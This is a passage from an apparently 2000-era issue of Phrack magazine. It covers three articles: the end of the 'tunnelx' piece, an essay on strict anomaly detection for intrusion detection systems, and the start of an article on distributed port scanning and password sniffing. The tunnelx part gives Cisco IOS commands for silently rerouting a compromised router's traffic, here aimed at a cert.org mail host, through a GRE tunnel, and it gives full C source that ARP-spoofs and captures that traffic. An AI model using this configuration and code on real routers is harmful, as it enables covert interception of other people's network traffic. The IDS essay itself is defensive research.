0 packets output, 0 bytes, 0 underruns
0 output errors, 0 collisions, 0 interface resets
0 output buffer failures, 0 output buffers swapped out
cisco#
At that point tcpdump won't show any output unless you try to ping an IP on
the 192.168.0.1/24 network. You will see some GRE encapsulated ICMP packets
and some icmp proto 47 unreach packet coming from 192.168.1.1.
On your linux test box, make sure you have protocol number 47 unfirewalled,
test# ipchains -I input -p 47 -j ACCEPT # accept GRE protocol
test# modprobe ip_gre
test# ip tunnel add tunnel0 mode gre remote 192.168.1.240 local
192.168.1.1
test# ifconfig tunnel0 192.168.0.2 netmask 255.255.255.0
test# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2): 56 data bytes
64 bytes from 192.168.0.2: icmp_seq=0 ttl=255 time=0.3 ms
^C
Ok our link is up. And as you can see by default GRE is really stateless.
There is no handshake, as we are not in Microsoft land with GRE2 and stupid
PPTP.
test# tcpdump -i eth1 host 192.168.1.240 and not port 23
tcpdump: listening on eth1
11:04:44.092895 arp who-has cisco tell private-gw
11:04:44.094498 arp reply cisco is-at 0:6d:ea:db:e:ef
11:04:44.094528 192.168.0.2 > 192.168.0.1: icmp: echo request (gre encap)
11:04:44.097458 192.168.0.1 > 192.168.0.2: icmp: echo reply (gre encap)
GRE's rfc isn't really verbose, and cisco coders are bashed in the linux GRE
implementation source for not respecting their own RFC.
Let's look at tcpdump src on ftp.ee.lbl.gov. Tcpdump sources are nice;
in the file print-gre.c we have most of the info we need to start coding
tunnelx.
----| 4. tunnelx - IOS Transparent reroute and capture
I initialized a new CVS tree with libpcap and libnet, some gre header ripped
from tcpdump, reread pcap's manpage while eating some Chunky Monkey, took
a glance at libnet's API doc and cleaned off the pizza bits and ice cream
from my fingers and decided to code something really simple and see if it
works:
- We define an unused IP address we call REENTRY and a fake ethernet address to
avoid a protocol unreachable storm that we call ETHER_SPOOF.
- We initialize libpcap and libnet and set up a pcap_loop.
- Then we make a pcap handler, which look for IP packets matching the GRE
protocol which are going to the tunnel exit point address as well as ARP
request packets.
- Our ARP parser bails out if it isn't a request for REENTRY or send a reply
with ETHER_SPOOF.
- Our GRE parser simply swaps IP and ether source and destitution, and
writes the packet to disk with pcap_dump(), increase the ttl, recompute
the checksum and flush it with libnet_write.
- That's it!!! Never would have believed it would have been so simple. Now
comes the tricky part; we have to configure the cisco correctly (define an
access list with all the stuff you want to reroute in it).
telnet 192.88.115.98
...
config term
int tunnel0
ip address 192.168.0.1 255.255.255.0
tunnel mode gre ip
tunnel source Ethernet0
tunnel destination TUNNELX_REENTRY_IP
!
access-list 111 permit tcp any host 192.88.209.10 25
!
route-map certisowned
match ip address 111
set ip next-hop 192.168.0.7
!
!
interface Ethernet0
description to cert.org
ip address 192.88.115.98
ip policy route-map certisowned
^Z
If you had tunnelx up and running before setting up the cisco config then it
should work now!!! And traceroute doesn't show any thing since its packets
are not matched by our access list!
BEWARE, however, when you want to disable the cisco configuration. Remove the
route map first with 'no route-map certisowned' *before* the access list
otherwise it will match all packets and they will go in an endless loop. Try
it on a small cisco 1600 before going in the wild with this stuff. Also try
not to be far away from the cisco. People can only know on which network
packets are captured not the actual host since we are arp spoofing, so take
advantage of that.
I said in the intro that some bits from IOS src would be nice to use, it
is their crypto code. You can setup an encrypted tunnel, make it use the
same key on both way so it will encrypt outgoing packets and decrypt them when
they come back. Tunnelx is just the same. You just need to add the crypto
routine in your pcap reader to make it decrypt the traffic.
Oh yes, I didn't talk about the pcap reader, you can just make a small program
that parses the pcap dump from tunnelx, make it un-encapsulate the GRE packet,
and create files for each session. lseek() is the key to do it without missing
out of order packets or getting messed up by duplicates. Since this article
is not destined for the average bugtraq or rootshell reader, the pcap dump
parser isn't included, you can send me some cash if you need a special version
of tunnelx or need technical support.
----| 5. Greeting and final words
:r !cat greetlist |sort -u |sed -e 's/$/, /'|xargs #hax idlers, acpizer,
akg, antilove (your piggy coding style is great), awr, binf, cb, cisco9,
ee.lbl.gov, f1ex, gamma, ice, jarvis, joey, kil3r, klog, meta, minus, nises,
octa, plaguez, plasmoid, route (thx 4 libnet), scalp, scuzzy, shok, swr,
teso crew, the owl, tmoggie, ultor, wilkins, ze others i forgot,
I am already working on a new version that will let you do spoofing,
hijacking, and monitoring like in hunt... Don't forget you're on the router,
you can do everything, and everyone trusts you :).
----| 6. The code
<++> p56/Tunnelx/tunnelx.c !0d503a37
// Tunnelx is part of the research and development effort
// conducted by HERT. These are not production tools for either attack or
// defense within an information warfare setting. Rather, they are small
// modifications demonstrating proof of concept.
// comments and crap to gaius@hert.org
// to compile on solaris: (i used libnet-0.99g)
// gcc -O2 -I. -DLIBNET_BIG_ENDIAN -Wall -c tunnelx.c
// gcc -O2 tunnelx.o -o tunnelx -lsocket -lnsl libpcap.a libnet.a
// on linux:
// gcc -O2 -I. `libnet-config --defines` -c tunnelx.c
// gcc -O2 tunnelx.o -o tunnelx libpcap.a libnet.a
#if (HAVE_CONFIG_H)
#include "config.h"
#endif
#include <libnet.h>
#include <pcap.h>
#define IP_UCHAR_COMP(x, y) \n (x[0] == y[0] && x[1] == y[1] && x[2] == y[2] && x[3] == y[3])
#define GRE_CP 0x8000 /* Checksum Present */
#define GRE_RP 0x4000 /* Routing Present */
#define GRE_KP 0x2000 /* Key Present */
#define GRE_SP 0x1000 /* Sequence Present */
#define GRE_SIZE (20)
#define GREPROTO_IP 0x0800
#define EXTRACT_16BITS(p) \n ((u_short)ntohs(*(u_short *)(p)))
const u_char *packetp;
const u_char *snapend;
#define SNAPLEN 8192
#define TUNNELX_REENTRY "192.168.1.1"
char out[] = "core";
u_long ip_spoof;
u_char ether_spoof[6] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF};
struct gre_hdr
{
u_short flags;
u_short proto;
union
{
struct gre_ckof
{
u_short cksum;
u_short offset;
}
gre_ckof;
u_long key;
u_long seq;
}
gre_void1;
union
{
u_long key;
u_long seq;
u_long routing;
}
gre_void2;
union
{
u_long seq;
u_long routing;
}
gre_void3;
union
{
u_long routing;
}
gre_void4;
};
struct link_int *li;
char default_dev[] = "le0";
char *device = NULL;
void pcap_print (u_char * user, const struct pcap_pkthdr *h,
const u_char * p);
char errbuf[256];
int
main (int argc, char *argv[])
{
int cnt, c, ret, snaplen;
bpf_u_int32 localnet, netmask;
char ebuf[PCAP_ERRBUF_SIZE];
char pcapexp[50];
pcap_t *pd;
struct bpf_program fcode;
pcap_handler printer;
u_char *pcap_userdata;
snaplen = SNAPLEN;
printer = pcap_print;
while ((c = getopt (argc, argv, "i:")) != EOF)
{
switch (c)
{
case 'i':
device = optarg;
break;
default:
exit (EXIT_FAILURE);
}
}
//inet_aton (TUNNELX_REENTRY, \_spoof);
ip_spoof = libnet_name_resolve(TUNNELX_REENTRY, 0);
device = default_dev;
if (!device)
{
fprintf (stderr, "Specify a device
");
exit (EXIT_FAILURE);
}
li = libnet_open_link_interface (device, errbuf);
if (!li)
{
fprintf (stderr, "libnet_open_link_interface: %s
", errbuf);
exit (EXIT_FAILURE);
}
if (device == NULL)
device = pcap_lookupdev (ebuf);
if (device == NULL)
printf ("%s", ebuf);
pd = pcap_open_live (device, snaplen, 1, 500, errbuf);
if (pd == NULL)
{
fprintf (stderr, "pcap_open_live: %s
", errbuf);
return (-1);
}
if (pd == NULL)
printf ("%s", ebuf);
ret = pcap_snapshot (pd);
if (snaplen < ret)
{
printf ("Snaplen raised from %d to %d
", snaplen, ret);
snaplen = ret;
}
if (pcap_lookupnet (device, , , ebuf) < 0)
{
localnet = 0;
netmask = 0;
}
sprintf(pcapexp, "arp or (host %s and proto 47)", TUNNELX_REENTRY);
if (pcap_compile (pd,
,
pcapexp,
1, netmask) < 0)
printf ("%s", pcap_geterr (pd));
if (pcap_setfilter (pd, ) < 0)
printf ("%s", pcap_geterr (pd));
if (out)
{
pcap_dumper_t *p = pcap_dump_open (pd, out);
pcap_userdata = (u_char *) p;
}
if (pcap_loop (pd, cnt, printer, pcap_userdata) < 0)
{
(void) fprintf (stderr, "pcap_loop: %s
", pcap_geterr (pd));
exit (1);
}
pcap_close (pd);
exit (0);
}
void
pcap_print (u_char * user, const struct pcap_pkthdr *h, const u_char * p)
{
register struct libnet_ethernet_hdr *eh;
register struct gre_hdr *gh;
register struct libnet_ip_hdr *ih;
register struct libnet_arp_hdr *ah;
register char *dst, *src;
register u_int ih_length, payload_length, off;
u_int length = h->len;
u_int caplen = h->caplen;
u_short proto;
struct ether_addr tmp_ea;
packetp = p;
snapend = p + caplen;
eh = (struct libnet_ethernet_hdr *) p;
p += sizeof (struct libnet_ethernet_hdr);
caplen -= sizeof (struct libnet_ethernet_hdr);
length -= sizeof (struct libnet_ethernet_hdr);
switch (ntohs (eh->ether_type))
{
case ETHERTYPE_IP:
ih = (struct libnet_ip_hdr *) p;
ih_length = ih->ip_hl * 4;
payload_length = ntohs (ih->ip_len);
payload_length -= ih_length;
off = ntohs (ih->ip_off);
if ((off & 0x1fff) == 0)
{
p = (u_char *) ih + ih_length;
src = strdup (inet_ntoa (ih->ip_src));
dst = strdup (inet_ntoa (ih->ip_dst));
switch (ih->ip_p)
{
#ifndef IPPROTO_GRE
#define IPPROTO_GRE 47
#endif
case IPPROTO_GRE:
gh = (struct gre_hdr *) p;
p += 4;
if (memcmp (>ip_dst, _spoof, 4) == 0)
{
// reverse GRE source and destination
memcpy (tmp_ea.ether_addr_octet, >ip_src, 4);
memcpy (>ip_src, >ip_dst, 4);
memcpy (>ip_dst, tmp_ea.ether_addr_octet, 4);
// ih->ip_id++;
// reverse Ether source and destination
memcpy (tmp_ea.ether_addr_octet, eh->ether_shost, ETHER_ADDR_LEN);
memcpy (eh->ether_shost, eh->ether_dhost, ETHER_ADDR_LEN);
memcpy (eh->ether_dhost, tmp_ea.ether_addr_octet, ETHER_ADDR_LEN);
// dope the ttl up
ih->ip_ttl = 64;
if (libnet_do_checksum ((u_char *) ih, IPPROTO_IP, ih_length) == -1)
return;
if (libnet_write_link_layer (li, device, (u_char *) eh,
payload_length + ih_length + sizeof (struct libnet_ethernet_hdr))
== -1)
return;
pcap_dump (user, h, packetp);
}
proto = EXTRACT_16BITS (>proto);
break;
default:
return;
}
}
break;
case ETHERTYPE_ARP:
// process arp
ah = (struct libnet_arp_hdr *) p;
if (EXTRACT_16BITS (>ar_op) != ARPOP_REQUEST)
{
return;
}
if (memcmp (ah->ar_tpa, _spoof, 4) != 0)
return;
// swap ip source and address i use ar_tha as a temporary place holder
memcpy (ah->ar_tha, ah->ar_spa, 4);
memcpy (ah->ar_spa, ah->ar_tpa, 4);
memcpy (ah->ar_tpa, ah->ar_tha, 4);
// move ether addr source to both destination
memcpy (eh->ether_dhost, eh->ether_shost, ETHER_ADDR_LEN);
memcpy (ah->ar_tha, eh->ether_shost, ETHER_ADDR_LEN);
// copy fake ether addr to both source
memcpy (eh->ether_shost, ether_spoof, ETHER_ADDR_LEN);
memcpy (ah->ar_sha, ether_spoof, ETHER_ADDR_LEN);
// set arp op code to reply
ah->ar_op = htons (2);
if (libnet_write_link_layer (li, device, (u_char *) eh,
ARP_H + ETH_H) == -1)
return;
break;
}
}
<-->
|EOF|-------------------------------------------------------------------------|
--------------------------------------------------------------------------------
- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x0b[0x10]
|----------------- A STRICT ANOMOLY DETECTION MODEL FOR IDS ------------------|
|-----------------------------------------------------------------------------|
|------------------------------ sasha / beetle -------------------------------|
"The three main problems we try to solve to achieve security are: hiding data,
ensuring that systems run effectively, and keeping data from being modified
or destroyed. In fact you could argue that most of computer security - more
so than any other field in computer science - is simply the analysis of
imperfection in these areas. Imperfection rather than perfection, because
people seem to have a tendency to find what they seek; and (for the secular)
finding insecurity (e.g. imperfections), alas, is nearly always more correct
than stumbling upon security (e.g. perfection). Obviously computers are
indefatigable, not invulnerable."
- Dan Farmer
"Central to this type of thinking is the underlying notion of 'truth'. By
means of argument which maneuvers matter into a contradictory position,
something can be shown to be false. Even if something is not completely
false, the garbage has to be chipped away by the skilled exercise of
critical thinking in order to lay bare the contained truth."
- Edward De Bono
----| 1. Introduction
IDS (Intrusion Detection Systems) seem to currently be one of the most
fashionable computer security technologies.
The goal of IDS technology - to detect misuse, must be considered a genuinely
'hard problem', and indeed there exists several areas of difficulty associated
with implementing an NIDS (network-based IDS) such that the results it
generates are genuinely useful, and can also be trusted.
This article focuses predominantly on issues associated with NIDS although
many of the issues are equally applicable to host-based and application-based
IDS also.
This article is split into two; firstly, issues of concern regarding NIDS are
discussed - generally one or more research papers are referenced and then the
implication for the validity of current NIDS implementation models is
presented; secondly, a proposal for a new implementation model for NIDS is
described which attempts to mitigate some of the identified problems.
----| 2. Issues of Concern for NIDS
2.1 False Alarm Rate
"If you call everything with a large red nose a clown, you'll spot all the
clowns, but also Santa's reindeer, Rudolph, and vice versa."
- Stefan Axelsson
At the RAID 99 Conference (Recent Advances in Intrusion Detection) [1],
Stefan Axelsson presented his white paper: 'The Base-Rate Fallacy and its
Implications for the Difficulty of Intrusion Detection' [2].
The base-rate fallacy is one of the cornerstones of Bayesian statistics,
stemming from Bayes theorem that describes the relationship between a
conditional probability and its opposite, i.e. with the condition transposed.
The base-rate fallacy is best described through example. Suppose that your
doctor performs a test on you that is 99% accurate, i.e. when the test was
administered to a test population all of whom had the disease, 99% of the
tests indicated disease, and likewise when the test population was known to be
100% free of the disease, 99% of the test results were negative. Upon
visiting your doctor to learn the results he tells you that you have tested
positive for the disease; the good news however, is that out of the entire
population the rate of incidence is only 1/10,000, i.e. only one in 10,000
people have the disease. What, given this information, is the probability of
you having the disease?
Even though the test is 99% certain, your chance of actually having the
disease is only 1/100 because the population of healthy people is much larger
than the population with the disease.
This result often surprise a lot of people, and it is this phenomenon - that
humans in general do not take the basic rate of incidence (the base-rate) into
account when intuitively solving such problems of probability, that is aptly
named "the base rate fallacy".
The implication, is that intrusion detection in a realistic setting is
therefore harder than previously thought. This is due to the base-rate
fallacy problem, because of which the factor limiting the performance of an
intrusion detection system is not the ability to correctly identify
intrusions, but rather its ability to suppress false alarms.
2.2 Anomalous Network Behavior
In 1993, Steven Bellovin published the classic white paper 'Packets Found on
an Internet' [3], in which he describes anomalous network traffic detected at
the AT&T firewall. He identifies anomalous broadcast traffic, requests to
connect to "inexplicable" ports, and packets addresses to random, non-existent
machines. Bellovin concludes:
"To some, our observations can be summarized succinctly as 'bugs happen'. But
dismissing our results so cavalierly misses the point. Yes, bugs happen but
the very success of the Internet makes some bugs invisible; the underlying
problems they are symptomatic of have not gone away."
As the techniques for network information gathering (host, service, and
network topology detection - see [4]) become more esoteric, they stray
increasingly into the 'gray areas', the ambiguities, of the TCP/IP network
protocol definitions (consequently, the results of such techniques may be more
stealthy, but they are often also less dependable).
These same ambiguities in the definition of the protocols result in TCP/IP
stack implementations that behave differently per OS type, or even per OS
release (in fact, this enables TCP/IP stack fingerprinting [5]).
The implication, is that the detection of anomalous behavior which may have a
security implication, is made considerably more complex since anomalous
behavior exists in the network environment by default.
2.3 Complexity
"Thinking in terms of 'typical' is a lethal pitfall. But how else do we
develop intuition and understanding?"
- Vern Paxson
In 1999, Vern Paxson (author of the 'Bro' NIDS [6]), published a presentation
titled 'Why Understanding Anything About The Internet Is Painfully Hard' [7].
In his presentation, he concludes that to even begin to enable network traffic
modeling, invariants are required: properties of the network which do not
change; but, the Internet is by it's very nature a sea of change - a moving
target.
The majority of NIDS utilize a 'misuse-detection' model - traditionally
implemented by comparing live network traffic to a database of signatures
which represent known attacks. A second NIDS model also exists:
'anomaly-detection' - in which an IDS attempts to 'learn' to differentiate
between legal and illegal behavior; anomaly-detection NIDS have not yet been
proven, and exist at present largely only in the academic research domain.
Vern Paxson describes the Internet as: "ubiquitous diversity and change:
over time, across sites, how the network is used, and by whom", and this
implies that much work is yet to be done before NIDS which attempt to utilize
a traditional anomaly-detection model can add significant value in a complex,
real-world, enterprise environment.
2.4 Susceptibility to Attack
In 1998, Thomas Ptacek and Timothy Newsham published their seminal work on
NIDS subversion - 'Insertion, Evasion, and Denial of Service: Eluding Network
Intrusion Detection' [8]; an implementation followed in P54-10 [9], and the
scripting language originally used by Ptacek and Newsham to perform their
testing is also now available [10].
Since then, anti-IDS techniques have been built into network interrogation
tools, such as whisker [11].
A presentation by Vern Paxson - 'Defending Against NIDS Evasion using Traffic
Normalizers' [12] describes a 'bump in the wire' network traffic normalizer
which defeats the majority of published NIDS subversion attacks.
However, until Cisco implement this technology in IOS or Checkpoint do
likewise with FW-1, etc., both unlikely prospects in the short to medium term,
the implication is that this suite of NIDS subversion techniques will continue
to call into question the reliability of NIDS.
2.5 The Evolving Network Infrastructure
The physical network infrastructure is rapidly evolving; in the future -
encryption, high wire speeds, and switched networks will practically kill
those NIDS which utilize promiscuous-mode passive protocol analysis.
When (...or if) the IP security protocol [13] becomes ubiquitous, NIDS will
be unable to perform pattern-matching-style signature analysis against the
data portion of network packets; those NIDS signatures which relate to IP,
TCP, and other protocol headers will still be valid, but signatures for
attacks against applications will become useless because the application data
will be encrypted.
Current NIDS based upon passive protocol analysis can barely monitor 100 Mb/s
Ethernet, and it is somewhat doubtful that they will be able to monitor ATM,
FDDI, etc.
Lastly, the increasing use of switches in the modern network environment
largely foils the monitoring of multiple hosts concurrently (such as with
broadcast Ethernet). The use of a spanning/spy port to monitor multiple ports
on a switch should be viewed as a short-term novelty at best.
----| 3. The Evolution of NIDS
In an attempt to 'evolve around' the described issues, vendors of NIDS
products are moving towards a model in which an NIDS agent is installed on
each host - monitoring network traffic addressed to that host alone (i.e. non
promiscuously); this would seem to be the most sensible way to perform NIDS
monitoring in switched environments. Also, if a host-based NIDS agent can be
'built into' the hosts TCP/IP stack, it can perform security analysis both
before data enters the stack (i.e. between the NIC and the stack), and before
it enters an application (i.e. between the stack and the application),
thereby hypothetically protecting both the OS stack and the application.
In a multiple host-based model as described above, NIDS subterfuge attacks
(section 2.4) are much less dangerous, since a host-based NIDS agent receives
all the packets addressed to the host on which it is installed; issues
associated with the ambiguity in interpreting network traffic, such as with
forward or backwards fragmentation reassembly (and so on) are reduced -
assuming of course that the NIDS agent has visibility into the operation of
the host OS stack.
A transition from network-based NIDS to host-based NIDS is a logical
evolutionary step - it eases the problems with susceptibility to attack and
the underlying evolving network infrastructure, but it is not, however, a
panacea for the other issues identified.
----| 4. A Proposal: Strict Anomaly Detection
We approached the task of inventing a new NIDS operational model with two
axiomatic beliefs:
Firstly, an IDS should not view the task of detecting misuse as a binary
decision problem, i.e. "saw an attack" vs. "did not see an attack". It should
be recognized that different forms of attack technique are not equally complex
and consequently not equally complex to detect; succinctly, the intrusion
detection problem is not a binary (discrete), but rather an n-valued
(variable) problem.
Secondly, NIDS can detect many simplistic attacks, but those same simplistic
attacks can be made much harder to detect if the correct delivery mechanism
and philosophy is employed. Many attack techniques are increasingly dependent
on ambiguity, which forces an IDS to use much more simplistic logic if it is
to perform correctly. By definition, NIDS which employ a misuse detection
heuristic cannot detect new, novel attacks; more crucially, a small variation
in the form/structure of an attack can often easily invalidate a NIDS
signature.
Our proposal, is that an IDS should not function by using definitions of
misuse (signatures) to detect attacks, but instead by searching for deviation
from a rigid definition of use. We call this model "not use" detection, or
alternatively "strict anomaly detection".
It is important to distinguish between misuse-detection and "not use"
detection: traditional misuse detection involves defining a set of events
(signatures) that represent attacks - "misuse", and attempting to detect that
activity in the environment. Strict anomaly detection ("not use" detection)
involves defining a set of permitted events - "use", and detecting activity
which represents exceptions to those events, hence "not use".
The key advantage in employing a strict anomaly detection model is that the
number of attacks within the "misuse" set can never be greater than the number
of attacks within the "not use" set; by definition, all current and future
attacks reside in the "not use" set!
Assuming a host-based model, the remaining current issues of concern with IDS
identified in section 2, are:
4.1 False Alarm Rate
An IDS which implements a strict anomaly detection model can never enter a
false-positive state, i.e. can never generate a false alarm, because activity
which occurs outside the definition of "use", by definition, has security
relevance.
4.2 Anomalous Network Behaviour
We must assume that anomalous behavior exists in the target environment by
default; therefore, a mechanism must exist to create 'exceptions' to the rule
set used to implement strict anomaly detection within an IDS, for example -
to except (accept) the idiosyncratic behavior of a particular flavor of host
TCP/IP stack. Such a system would be analogous in functionality to the
ability to except certain instances of mis-configuration detected by
host-based security state monitoring software.
4.3 Complexity
The use of strict anomaly detection does not necessarily require a complete
model of acceptable use to be constructed - a subset may be acceptable. For
example, to detect novel network attacks that involve TCP connection
establishment, the acceptable use model could initially simply comprise the
three-way TCP connection handshake, plus termination conditions; it may not
be necessary to construct an acceptable use model which comprises the entire
TCP state transition diagram.
How can strict anomaly detection be applied to the problem of detecting
anomalous (i.e. security relevant) network traffic? We present two initial
implementation ideas, below.
Firstly, the TCP state-transition diagram could be modeled within an IDS as a
set of rules; these rules represent the valid use of TCP as per the TCP
specification. Exceptions (i.e. "not use") which occur would be alerted
upon. Some analysis has already been done on exceptions which occur to the
classical TCP state transition diagram, see [14].
Alternatively, an entirely stateless approach could be taken by defining the
allowable variation in each field of the TCP header and in its
construction/format; analysis could then be performed without reference to
previous or future network traffic. Exceptions which occur would be flagged.
A more broad example of strict anomaly detection is in the scenario in which a
NIDS is deployed on the 'inside' of a firewall; the "not use" set can be
constructed using the inverse of the firewall rule set. If the NIDS detects
traffic which it knows the firewall should reject, an alert would be
generated.
----| 5. Summary
The difficulty in constructing an IDS which utilizes a strict anomaly
detection model, is in being able to define allowable "use". It may be that
strict anomaly detection is best employed in an environment in which "use" can
be (or is already) well defined, such as in the firewall example above, or in
a 'trusted system' - such as Trusted Solaris [15] for example.
In this article we have introduced the concept of strict anomaly detection,
a.k.a "not use" detection. Strict anomaly detection is an alternative to
misuse-detection and anomaly-detection for the attack detection heuristic
component of intrusion detection systems, which attempts to negate some of
the critical issues of concern with the existing approaches to IDS.
----| 6. References
[1] International Workshop on Recent Advances in Intrusion Detection
http://www.zurich.ibm.com/pub/Other/RAID
[2] The Base-Rate Fallacy and its Implications for the Difficulty of
Intrusion Detection, Stefan Axelsson, Proceedings of the 6th ACM
Conference on Computer and Communications Security, November 1-4,
1999
[3] Packets Found on an Internet, Steven M. Bellovin, August 23, 1993,
Computer Communications Review, July 1993, Vol. 23, No. 3, pp. 26-31,
http://www.research.att.com/~smb/papers/packets.ps
[4] Distributed Metastasis: A Computer Network Penetration Methodology,
Andrew J. Stewart, Phrack Magazine, Vol 9, Issue 55, File 16 of 19.
09.09.99, http://www.phrack.com/search.phtml?view&article=p55-16
[5] Remote OS detection via TCP/IP Stack Fingerprinting', Fyodor, Phrack
Magazine, Volume 8, Issue 54, Article 09 of 12, Dec 25th, 1998,
http://www.phrack.com/search.phtml?view&article=p54-9
[6] Bro: A System for Detecting Network Intruders in Real-Time, Vern
Paxson, Network Research Group, Lawrence Berkeley National
Laboratory, Berkley, CA, Revised January 14, 1998, Proceedings of the
7th USENIX Security Symposium, San Antonio, TX, January 1998,
ftp://ftp.ee.lbnl.gov/papers/bro-usenix98-revised.ps.Z
[7] Why Understanding Anything About The Internet Is Painfully Hard, Vern
Paxson, AT&T Center for Internet Research at ICSI, International
Computer Science Institute, Berkeley, CA, April 28, 1999,
http://www.aciri.org/vern/talks/vp-painfully-hard.UCB-mig.99.ps.gz
[8] Insertion, Evasion, and Denial of Service: Eluding Network Intrusion
Detection, Thomas H. Ptacek & Timothy N. Newsham, Secure Networks,
Inc, January, 1998, http://www.securityfocus.com/data/library/ids.pdf
[9] Defeating Sniffers and Intrusion Detection Systems, horizon, Phrack
Magazine, Volume 8, Issue 54, article 10 of 12, Dec 25th, 1998,
http://www.phrack.com/search.phtml?view&article=p54-10
[10] CASL (Custom Audit Scripting Language) for Linux Red Hat 5.x,
Programming Guide, Version 2.0,
ftp://ftp.nai.com/pub/security/casl/casl20.tgz
[11] A look at whisker's anti-IDS tactics, Rain Forest Puppy,
http://www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html
[12] Defending Against NIDS Evasion using Traffic Normalizers, Vern
Paxson, Mark Handley, ACIRI, RAID, Sept '99
[13] IP Security Protocol (ipsec),
http://www.ietf.org/html.charters/ipsec-charter.html
[14] Network Security Via Reverse Engineering of TCP Code: Vulnerability
Analysis and Proposed Solutions, Biswaroop Gua, Biswanath Mukherjee,
Biswanath Mukherjee, Department of Computer Science, University of
California, Davis, CA 95616, U.S.A, November 7, 1995
[15] Trusted Solaris 7
http://www.sun.com/software/solaris/trustedsolaris/
[16] I Am Right - You Are Wrong, Edward De Bono, Penguin, 1992 edition,
ISBN 0140126783
|EOF|-------------------------------------------------------------------------|
--------------------------------------------------------------------------------
- P H R A C K M A G A Z I N E -
Volume 0xa Issue 0x38
05.01.2000
0x0c[0x10]
|----------------------------- DISTRIBUTED TOOLS -----------------------------|
|-----------------------------------------------------------------------------|
|----------------------------- sasha / lifeline ------------------------------|
"The COAST approach has been to look at limits and underlying problems and see
what we can do to change the paradigm. We don't start with the view that
'well, the system gives us X and we know Y, so what can we find using that?'
Instead, we ask questions about the whole process of intrusion and misuse,
and try to find new ideas there."
- Gene Spafford
----| Distributed Denial of Service Attacks
It is perhaps prophetic that the first CERT advisory of the 21st century
should concern a distributed Denial of Service attack (see CA-2000-01 [1]).
In November 1999, CERT even held a 'Distributed-Systems Intruder Tools
Workshop' [2], to discuss "the threat" of distributed DoS (Denial of Service)
tools.
Briefly: in a distributed DoS attack, daemons are installed on multiple
compromised hosts; a client is used to identify a target to the daemons who
each then launch a DoS attack (usually using flood-like attacks i.e. UDP,
ICMP, SYN). The unified and sustained nature of attacks generated by multiple
daemons can often cripple a target network/host.
Some good work has been done on analysis of current distributed DoS tools, and
we direct the interested reader to the work of David Dittrich [3].
----| Applications of a Distributed Approach
It is somewhat depressing that DoS is very often the first application of any
new idea which can be utilized in a security context, and this is especially
true of distributed techniques, since the distributed 'philosophy' is
applicable to many facets of computer network penetration.
Below, we describe two examples of the distributed approach applied to very
familiar tasks: port scanning and password sniffing. Source code for an
example distributed port scanner implementation is included at the end of the
article.
----| Port Scanning
In P55-09 - 'Distributed Information Gathering' [4], the advantages in using
a distributed network information gathering approach are described, namely:
I. Stealth
By employing co-operation, time dilation, and randomization techniques we hope
to elude NIDS (network-based intrusion detection systems).
II. Correlation Information
The acquisition of multiple 'points of view' of a target enables a more
complete model of the target to be constructed, including multiple route and
timing information.
III. Pervasive Information Gathering
The countermeasures which some N-IDS can employ, such as injecting a 'deny
rule' into a firewall (for example, using an OPSEC API [5]), become less
effective at stopping ongoing information gathering.
----| Distributed Port Scan Detection
To detect a distributed port scan in which multiple hosts are being used to
distribute and "share the work" of information gathering, the functionality
must exist in a detection system to analyze a recorded event (for example - a
SYN packet sent to a port) in context, i.e. using circumstantial information.
The difficulty lies in knowing which information it is valuable to keep; you
may throw away the one byte which unlocks the puzzle! Resource starvation
and state-holding attacks then become applicable, since the resources
available to the detection system are unlikely to be infinite.
Assuming no pathologically obvious variations of information gathering
techniques are used (e.g. SYN+RST), a detection system must almost ignore
source IP addresses when performing analysis, since by definition, multiple
source hosts can distribute the set of probes to be performed.
For example, if you receive a connect to each port from 1 to 1024 over the
duration of a week, from multiple hosts, you are likely to have been port
scanned; however, the set of ports an individual is interested in determining
are open on your machine (or network), is unlikely to be as easy to recognize
as 1-1024.
There obviously exists an opportunity to perform much more research in
the area of programmatically identifying distributed attacks.
----| Password Sniffing
In P55-16 - 'Distributed Metastasis' [6], the advantages associated with using
a distributed model for password sniffing are described; briefly, the two
primary advantages are in removing the need to revisit a compromised host to
collect sniffer logs, and to increase the speed with which the sniffed
information is made available so that the penetration can be immediately
continued/deepened.
----| The Implementation
An implementation of a distributed port scanner is provided for illustrative
purposes.
DPS (Distributed Port Scanner) consists of a client working in conjunction with
agents located on multiple remote hosts.
The communication between the client and the agents is provided via some basic
commands encapsulated in ICMP_ECHO_REQUEST/REPLY packets, thus providing a
fairly covert channel. Strong data payload encryption is planned for a later
release.
The port scan request is done by the client; the agents perform the port scan
itself, and then report the results back to the client.
Imagine that we have 4 agents, located on 4 different hosts: 'hardbitten',
'doubt', 'ketamine' and 'neurosponge'. Our goal is to obtain the status of
ports 21, 22, 23, 80 and 143 on 10.0.2.10. The client is located on the host
'implode' and agents.txt is a file containing a list of agents.
[root@implode dps]# ./client 10.0.2.10 21-23,80,143 agents.txt eth0
packet sent. 1 of 1
Using device eth0
21 iz open
23 iz open
80 iz open
[root@implode dps]#
The client distributes the "workload" (the set of ports) between the different
agents; each agent scans the target host for a subset of the total ports,
then reports the results back to the client.
This isn't by any means a finished product - it is proof-of-concept. Planned
features for future releases include: distributed password sniffing,
distributed remote OS detection, strong crypto, multi-threaded agents, and
other ideas that people have been throwing seen this project was begun. Stay
tuned. Take your time to browse through the source code. Both Libnet and
Libpcap are needed by both the agent and the client.
----| Conclusions
It is interesting to see historically the wave-like effect that exists between
centralized and distributed computing: mainframe, client/server, thin-client
(such as Windows Terminal Server and the JavaStation Network Computer), etc.
This same effect has not yet been fully witnessed in computer security (the
Morris Worm [7] is an obvious exception).
Conversely, the concept of 'remote control' is not new to security; Loki [8],
Back Orifice [9], and NetBus [10] all provide client/server style remote
control functionality.
To conclude, the key to the distributed 'philosophy', is the _combination_
of the above two concepts.
----| References
[1] CERT Advisory CA-2000-01 - Denial-of-Service Developments, CERT/CC and
FedCIRC, January 3, 2000,
http://www.cert.org/advisories/CA-2000-01.html
[2] Results of the Distributed-Systems Intruder Tools Workshop,
Pittsburgh, Pennsylvania USA, November 2-4, 1999, Published at
the CERT Coordination Center, Software Engineering Institute,
Carnegie Mellon University, Pittsburgh, PA, 15213, December 7,
1999, http://www.cert.org/reports/dsit_workshop.pdf
[3] The Dos Project's "trinoo" distributed denial of service attack tool,
The "Tribal Flood Network" distributed denial of service attack tool,
The "stacheldraht" distributed denial of service attack tool, David
Dittrich, University of Washington, December 31, 1999,
